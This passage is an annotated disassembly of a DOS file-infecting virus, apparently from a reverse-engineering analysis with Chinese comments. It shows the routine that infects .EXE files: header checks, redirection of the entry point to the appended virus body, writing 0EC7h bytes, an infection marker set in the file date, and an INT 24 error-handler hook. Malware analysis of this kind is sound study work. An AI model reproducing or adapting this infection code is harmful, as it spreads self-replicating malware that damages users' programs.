F6C8:0AB3 B43FMOV AH,3F F6C8:0AB5 B502MOV CH,02 F6C8:0AB7 BA4F0FMOV DX,0F4F F6C8:0ABA E8E201CALL0C9F F6C8:0ABD 7216JB0AD5 F6C8:0ABF B9FFFFMOV CX,FFFF F6C8:0AC2 BAF8FDMOV DX,FDF8 F6C8:0AC5 E8EF01CALL0CB7 F6C8:0AC8 B440MOV AH,40 F6C8:0ACA B90002MOV CX,0200 F6C8:0ACD BA4F0FMOV DX,0F4F F6C8:0AD0 E8CC01CALL0C9F F6C8:0AD3 73D1JNB 0AA6 F6C8:0AD5 E91FFFJMP 09F7F6C8:0AD8 B440MOV AH,40 ;写入新的段地址表项 F6C8:0ADA B90800MOV CX,0008 ;(病毒的段地址表项) F6C8:0ADD BA750EMOV DX,0E75 F6C8:0AE0 E8BC01CALL0C9F F6C8:0AE3 72F0JB0AD5 F6C8:0AE5 A32C03MOV [032C],AX ;032E:032C = FFFF:0000 F6C8:0AE8 892E2E03MOV [032E],BP F6C8:0AEC 40INC AX F6C8:0AED A37D0EMOV [0E7D],AX ;AX = 0001 F6C8:0AF0 C7067F0E0304MOV WORD PTR [0E7F],0403 F6C8:0AF6 C706810E2C03MOV WORD PTR [0E81],032C F6C8:0AFC E98500JMP 0B84;=================================================================== ;传染 DOS .EXE 文件 F6C8:0AFF E89F00CALL0BA1 ;文件长/200H F6C8:0B02 2B4504SUB AX,[DI+04] F6C8:0B05 75CEJNZ 0AD5 F6C8:0B07 2B5502SUB DX,[DI+02] F6C8:0B0A 75C9JNZ 0AD5 ;有覆盖部分不传染 F6C8:0B0C 837D0CFFCMP WORD PTR [DI+0C],-01 F6C8:0B10 75C3JNZ 0AD5 ;最大要求内存不为-1不传染 F6C8:0B12 3B451ACMP AX,[DI+1A] ;覆盖号不为 0 (主程序) 不传染 F6C8:0B15 75BEJNZ 0AD5 F6C8:0B17 E89301CALL0CAD ;DOS 4202 功能 F6C8:0B1A BE1000MOV SI,0010 ;文件长 > 640K 不传染 F6C8:0B1D 3BD6CMP DX,SI F6C8:0B1F 73B4JNB 0AD5 F6C8:0B21 F7F6DIV SI F6C8:0B23 2B4508SUB AX,[DI+08] ;减去文件头大小 F6C8:0B26 50PUSHAX F6C8:0B27 52PUSHDX F6C8:0B28 875514XCHGDX,[DI+14] ;设置新的 CS:IP F6C8:0B2B 874516XCHGAX,[DI+16] ;到文件尾 (病毒开始处) F6C8:0B2E 52PUSHDX F6C8:0B2F 034508ADD AX,[DI+08] F6C8:0B32 F7EEIMULSI F6C8:0B34 5EPOP SI F6C8:0B35 2D0200SUB AX,0002 F6C8:0B38 1BD1SBB DX,CX F6C8:0B3A 03C6ADD AX,SI ;移动文件指针到 F6C8:0B3C 13CAADC CX,DX ;开始执行前 2 字节 F6C8:0B3E 92XCHGAX,DX F6C8:0B3F E87201CALL0CB4 ;DOS 4200 F6C8:0B42 B43FMOV AH,3F ;读出 2 字节 F6C8:0B44 B90200MOV CX,0002 F6C8:0B47 BA4F11MOV DX,114F F6C8:0B4A E85201CALL0C9F F6C8:0B4D 5APOP DX F6C8:0B4E 58POP AX F6C8:0B4F 724DJB0B9E F6C8:0B51 813E4F115242CMP WORD PTR [114F],4252 F6C8:0B57 7445JZ0B9E ;这 2 字节是 4252 不传染 F6C8:0B59 81C2C710ADD DX,10C7 ;????? F6C8:0B5D 48DEC AX F6C8:0B5E 7409JZ0B69 F6C8:0B60 83C210ADD DX,+10 F6C8:0B63 83FA80CMP DX,-80 F6C8:0B66 72F5JB0B5D F6C8:0B68 48DEC AX F6C8:0B69 40INC AX F6C8:0B6A 80E2FEAND DL,FE F6C8:0B6D 895510MOV [DI+10],DX F6C8:0B70 89450EMOV [DI+0E],AX F6C8:0B73 E83701CALL0CAD ;DOS 4202 功能 F6C8:0B76 05C70EADD AX,0EC7 ;新的文件长 F6C8:0B79 13D1ADC DX,CX F6C8:0B7B E82300CALL0BA1 F6C8:0B7E 894504MOV [DI+04],AX ;设置新的文件长 F6C8:0B81 895502MOV [DI+02],DX F6C8:0B84 E80901CALL0C90 ;写文件头 40H 字节 F6C8:0B87 7215JB0B9E F6C8:0B89 E82101CALL0CAD ;DOS 4202 功能 F6C8:0B8C B440MOV AH,40 F6C8:0B8E B9C70EMOV CX,0EC7 ;写病毒 0EC7 字节 F6C8:0B91 99CWD F6C8:0B92 E80A01CALL0C9F F6C8:0B95 7207JB0B9E F6C8:0B97 E83B01CALL0CD5 ;取文件句柄表地址 F6C8:0B9A 804510C8ADD BYTE PTR [DI+10],C8 ;设置传染标记 F6C8:0B9E E956FEJMP 09F7 ;文件日期加上 200 年 ;====================================================================== F6C8:0BA1 B90002MOV CX,0200 F6C8:0BA4 F7F1DIV CX F6C8:0BA6 0BD2ORDX,DX F6C8:0BA8 7401JZ0BAB F6C8:0BAA 40INC AX F6C8:0BAB C3RET ;====================================================================== F6C8:0BAC 40INC AX F6C8:0BAD 3D4E5ACMP AX,5A4E F6C8:0BB0 7403JZ0BB5 F6C8:0BB2 3D5B4DCMP AX,4D5B F6C8:0BB5 C3RET ;======================================================================= ;设置新的 INT 24 中断向量到 CS:0BEB F6C8:0BB6 50PUSHAX F6C8:0BB7 53PUSHBX F6C8:0BB8 52PUSHDX F6C8:0BB9 1EPUSHDS F6C8:0BBA 06PUSHES F6C8:0BBB 0EPUSHCS F6C8:0BBC 1FPOP DS F6C8:0BBD B82435MOV AX,3524 F6C8:0BC0 E83701CALL0CFA F6C8:0BC3 891E7311MOV [1173],BX F6C8:0BC7 8C067511MOV [1175],ES F6C8:0BCB B425MOV AH,25 F6C8:0BCD BAEB0BMOV DX,0BEB F6C8:0BD0 E82701CALL0CFA F6C8:0BD3 07POP ES F6C8:0BD4 1FPOP DS F6C8:0BD5 5APOP DX F6C8:0BD6 5BPOP BX F6C8:0BD7 58POP AX F6C8:0BD8 C3RET ;========================================================================== ;恢复原 INT 24 中断向量 F6C8:0BD9 50PUSHAX F6C8:0BDA 52PUSHDX F6C8:0BDB 1EPUSHDS F6C8:0BDC B82425MOV AX,2524 F6C8:0BDF 2ECS: F6C8:0BE0 C5167311LDS DX,[1173] F6C8:0BE4 E81301CALL0CFA F6C8:0BE7 1FPOP DS F6C8:0BE8 5APOP DX F6C8:0BE9 58POP AX F6C8:0BEA C3RET ;========================================================================== ;新的 INT 24 中断程序, 出错时返回失败 (Fail) F6C8:0BEB B003MOV AL,03 F6C8:0BED CFIRET ;========================================================================== F6C8:0BEE 832E030F08SUB WORD PTR [0F03],+08 F6C8:0BF3 831E050F00SBB WORD PTR [0F05],+00 F6C8:0BF8 E83300CALL0C2E F6C8:0BFB 7230JB0C2D F6C8:0BFD B108MOV CL,08 F6C8:0BFF 882CMOV [SI],CH F6C8:0C01 46INC SI F6C8:0C02 E2FBLOOP0BFF F6C8:0C04 FF4C1CDEC WORD PTR [SI+1C] F6C8:0C07 A1C50EMOV AX,[0EC5] F6C8:0C0A 894414MOV [SI+14],AX F6C8:0C0D A1C30EMOV AX,[0EC3] F6C8:0C10 894416MOV [SI+16],AX F6C8:0C13 8B4422MOV AX,[SI+22] F6C8:0C16 B105MOV CL,05 F6C8:0C18 56PUSHSI F6C8:0C19 BD0400MOV BP,0004 F6C8:0C1C 3EDS: F6C8:0C1D 3B02CMP AX,[BP+SI] F6C8:0C1F 7304JNB 0C25 F6C8:0C21 3EDS: F6C8:0C22 83